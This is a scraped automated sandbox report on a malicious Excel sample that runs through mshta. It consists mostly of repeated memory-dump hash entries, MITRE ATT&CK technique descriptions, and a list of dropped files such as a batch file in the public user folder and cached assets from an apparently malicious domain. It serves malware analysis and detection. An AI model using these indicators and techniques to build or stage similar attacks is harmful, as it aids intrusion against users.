Source File: 0000000A.00000002.707070371.0000000006E80000.00000010.00000800.00020000.00000000.sdmp, Offset: 06E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6e80000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction ID: 8a1d60a99e869ded333b3af47cdc5f12eaf8d9bc66b1281c1489a03e08135824
Opcode Fuzzy Hash: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06E809EF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.707070371.0000000006E80000.00000010.00000800.00020000.00000000.sdmp, Offset: 06E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6e80000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction ID: 8a1d60a99e869ded333b3af47cdc5f12eaf8d9bc66b1281c1489a03e08135824
Opcode Fuzzy Hash: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06E805E7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.707070371.0000000006E80000.00000010.00000800.00020000.00000000.sdmp, Offset: 06E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6e80000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction ID: 8a1d60a99e869ded333b3af47cdc5f12eaf8d9bc66b1281c1489a03e08135824
Opcode Fuzzy Hash: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06E809E7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.707070371.0000000006E80000.00000010.00000800.00020000.00000000.sdmp, Offset: 06E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6e80000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction ID: 8a1d60a99e869ded333b3af47cdc5f12eaf8d9bc66b1281c1489a03e08135824
Opcode Fuzzy Hash: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06E809F7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.707070371.0000000006E80000.00000010.00000800.00020000.00000000.sdmp, Offset: 06E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6e80000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction ID: 8a1d60a99e869ded333b3af47cdc5f12eaf8d9bc66b1281c1489a03e08135824
Opcode Fuzzy Hash: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06E805CF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.707070371.0000000006E80000.00000010.00000800.00020000.00000000.sdmp, Offset: 06E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6e80000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction ID: 8a1d60a99e869ded333b3af47cdc5f12eaf8d9bc66b1281c1489a03e08135824
Opcode Fuzzy Hash: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06E809DF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.707070371.0000000006E80000.00000010.00000800.00020000.00000000.sdmp, Offset: 06E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6e80000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction ID: 8a1d60a99e869ded333b3af47cdc5f12eaf8d9bc66b1281c1489a03e08135824
Opcode Fuzzy Hash: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06E805DF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.707070371.0000000006E80000.00000010.00000800.00020000.00000000.sdmp, Offset: 06E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6e80000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction ID: 8a1d60a99e869ded333b3af47cdc5f12eaf8d9bc66b1281c1489a03e08135824
Opcode Fuzzy Hash: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06E805D7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.707070371.0000000006E80000.00000010.00000800.00020000.00000000.sdmp, Offset: 06E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6e80000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction ID: 8a1d60a99e869ded333b3af47cdc5f12eaf8d9bc66b1281c1489a03e08135824
Opcode Fuzzy Hash: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06E809AF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.707070371.0000000006E80000.00000010.00000800.00020000.00000000.sdmp, Offset: 06E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6e80000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction ID: 8a1d60a99e869ded333b3af47cdc5f12eaf8d9bc66b1281c1489a03e08135824
Opcode Fuzzy Hash: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06E805AF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.707070371.0000000006E80000.00000010.00000800.00020000.00000000.sdmp, Offset: 06E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6e80000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction ID: 8a1d60a99e869ded333b3af47cdc5f12eaf8d9bc66b1281c1489a03e08135824
Opcode Fuzzy Hash: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06E809BF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.707070371.0000000006E80000.00000010.00000800.00020000.00000000.sdmp, Offset: 06E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6e80000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction ID: 8a1d60a99e869ded333b3af47cdc5f12eaf8d9bc66b1281c1489a03e08135824
Opcode Fuzzy Hash: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06E805B7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.707070371.0000000006E80000.00000010.00000800.00020000.00000000.sdmp, Offset: 06E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6e80000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction ID: 8a1d60a99e869ded333b3af47cdc5f12eaf8d9bc66b1281c1489a03e08135824
Opcode Fuzzy Hash: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06E8098F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.707070371.0000000006E80000.00000010.00000800.00020000.00000000.sdmp, Offset: 06E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6e80000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction ID: 8a1d60a99e869ded333b3af47cdc5f12eaf8d9bc66b1281c1489a03e08135824
Opcode Fuzzy Hash: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06E80987 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.707070371.0000000006E80000.00000010.00000800.00020000.00000000.sdmp, Offset: 06E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6e80000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction ID: 8a1d60a99e869ded333b3af47cdc5f12eaf8d9bc66b1281c1489a03e08135824
Opcode Fuzzy Hash: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06E8099F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.707070371.0000000006E80000.00000010.00000800.00020000.00000000.sdmp, Offset: 06E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6e80000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction ID: 8a1d60a99e869ded333b3af47cdc5f12eaf8d9bc66b1281c1489a03e08135824
Opcode Fuzzy Hash: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06E8096F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.707070371.0000000006E80000.00000010.00000800.00020000.00000000.sdmp, Offset: 06E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6e80000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction ID: 8a1d60a99e869ded333b3af47cdc5f12eaf8d9bc66b1281c1489a03e08135824
Opcode Fuzzy Hash: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06E8056F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.707070371.0000000006E80000.00000010.00000800.00020000.00000000.sdmp, Offset: 06E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6e80000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction ID: 8a1d60a99e869ded333b3af47cdc5f12eaf8d9bc66b1281c1489a03e08135824
Opcode Fuzzy Hash: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06E80567 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.707070371.0000000006E80000.00000010.00000800.00020000.00000000.sdmp, Offset: 06E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6e80000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction ID: 8a1d60a99e869ded333b3af47cdc5f12eaf8d9bc66b1281c1489a03e08135824
Opcode Fuzzy Hash: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06E8097F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.707070371.0000000006E80000.00000010.00000800.00020000.00000000.sdmp, Offset: 06E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6e80000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction ID: 8a1d60a99e869ded333b3af47cdc5f12eaf8d9bc66b1281c1489a03e08135824
Opcode Fuzzy Hash: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06E8057F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.707070371.0000000006E80000.00000010.00000800.00020000.00000000.sdmp, Offset: 06E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6e80000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction ID: 8a1d60a99e869ded333b3af47cdc5f12eaf8d9bc66b1281c1489a03e08135824
Opcode Fuzzy Hash: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06E80977 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.707070371.0000000006E80000.00000010.00000800.00020000.00000000.sdmp, Offset: 06E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6e80000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction ID: 8a1d60a99e869ded333b3af47cdc5f12eaf8d9bc66b1281c1489a03e08135824
Opcode Fuzzy Hash: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06E80577 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.707070371.0000000006E80000.00000010.00000800.00020000.00000000.sdmp, Offset: 06E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6e80000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction ID: 8a1d60a99e869ded333b3af47cdc5f12eaf8d9bc66b1281c1489a03e08135824
Opcode Fuzzy Hash: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06E80947 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.707070371.0000000006E80000.00000010.00000800.00020000.00000000.sdmp, Offset: 06E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6e80000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction ID: 8a1d60a99e869ded333b3af47cdc5f12eaf8d9bc66b1281c1489a03e08135824
Opcode Fuzzy Hash: 4e6b9f9e83dc3adbad660addbf607805bca38da66abf2e10f16665b63af471ee
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 10B00FD7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.718535510.0000000010B00000.00000010.00000800.00020000.00000000.sdmp, Offset: 10B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_10b00000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
Instruction ID: f3afe36a535da5969eb20978c8c4b2c823d5bff19bd473f444cac4d24573fdc3
Opcode Fuzzy Hash: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 10B00FCF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.718535510.0000000010B00000.00000010.00000800.00020000.00000000.sdmp, Offset: 10B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_10b00000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
Instruction ID: f3afe36a535da5969eb20978c8c4b2c823d5bff19bd473f444cac4d24573fdc3
Opcode Fuzzy Hash: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Outlook.bat

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\DURNCK2N\facextrade.com[1].xml

C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\FC60D9F5-5198-4923-B69D-E0983E74270D

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\bootstrap[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\camera[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\chart.min[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\cherry-plugin[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\cherry.parallax[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\content_bg4[1].jpg

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\custom-script[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\error[1]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\jflickrfeed[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\jquery.flexslider-min[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\jquery.mobilemenu[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\jquery.mousewheel.min[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\jquery.simplr.smoothscroll.min[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\magnific-popup[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\modernizr[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\owl.carousel.min[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\owl.carousel[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\owl.theme.default.min[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\scripts[1].js

Windows Analysis Report
SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls